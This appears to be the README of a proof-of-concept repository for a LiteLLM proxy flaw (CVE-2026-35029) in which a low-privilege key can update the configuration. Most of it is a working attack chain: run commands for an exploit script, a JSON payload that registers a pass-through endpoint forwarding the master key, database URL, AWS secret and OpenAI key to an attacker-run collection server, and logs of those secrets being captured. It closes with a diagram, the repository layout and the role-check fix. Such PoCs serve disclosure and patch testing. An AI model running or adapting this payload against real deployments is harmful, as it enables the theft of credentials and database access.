# 1. Start vulnerable LiteLLM + attacker data collection server
docker compose up -d

# 2. Install dependencies
pip install -r requirements.txt

# 3. Run full attack chain (env var theft + file reading)
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 4. Steal environment variables only
python3 exploit/exploit.py --mode exfil \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 5. (Optional) Verify fix version not affected
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4001 \
  --key sk-litellm-master-key --fixed

======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================

[*] Step 1: Registering pass-through endpoint via /config/update...
    Payload: {
        "general_settings": {
            "pass_through_endpoints": [
                {
                    "path": "/exfil/env",
                    "target": "http://exfil-server:9999/collect",
                    "headers": {
                        "X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
                        "X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
                        "X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
                        "X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
                    }
                }
            ]
        }
    }
    HTTP 200
    [+] Config update accepted!

[*] Step 2: Waiting for pass-through route propagation...
    6 seconds...

[*] Step 3: Triggering pass-through endpoint at /exfil/env...
    HTTP 200
    Response: {"status":"received","message":"Data captured by exfiltration server"}

[*] Step 4: Checking exfiltration server for stolen data...

[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
   Path  : /collect
   Headers:
     X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
     X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
     X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
     X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked

[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!

======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
    HTTP 403
    [-] Forbidden — target may be patched (v1.83.0+)
    [+] Expected: fixed version blocks non-admin config updates

 ┌──────────────┐     ┌─────────────────┐     ┌───────────────────┐
 │ Attacker      │     │  LiteLLM Proxy   │     │ Exfiltration       │
 │ (Low-priv Key)│     │ (< v1.83.0)     │     │ Server (attacker)  │
 └──────┬───────┘     └────────┬────────┘     └────────┬──────────┘
        │                      │                       │
        │ 1. POST /config/update                       │
        │    {pass_through_endpoints:                  │
        │      [{path, target, headers:                │
        │        {X-DB: "os.environ/DATABASE_URL"}}]}  │
        │─────────────────────→│                       │
        │                      │                       │
        │    HTTP 200 (OK!)    │                       │
        │←─────────────────────│                       │
        │                      │                       │
        │ 2. GET /exfil/env    │                       │
        │─────────────────────→│                       │
        │                      │ 3. Forward request    │
        │                      │    + resolved headers │
        │                      │    (including DATABASE_URL) │
        │                      │──────────────────────→│
        │                      │                       │
        │                      │    HTTP 200           │
        │                      │←──────────────────────│
        │←─────────────────────│                       │
        │                      │                       │
        │ 4. Check /logs to confirm result             │
        │─────────────────────────────────────────────→│
        │←─ [🔥] DATABASE_URL stolen ─────────────────│

CVE-2026-35029/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml          # LiteLLM base config
├── requirements.txt             # Python dependencies (PoC)
├── exfil-server/
│   ├── Dockerfile               # Exfiltration server image
│   └── server.py                # Captures stolen data (Python HTTP)
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # Payload builder module
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

# Before fix (pre v1.83.0) — no role check
@router.post("/config/update")
async def update_config(request: Request):
    ...  # Any authenticated user could call

# After fix (v1.83.0+) — requires proxy_admin role
@router.post("/config/update")
@require_role("proxy_admin")  # ← New role check
async def update_config(request: Request):
    ...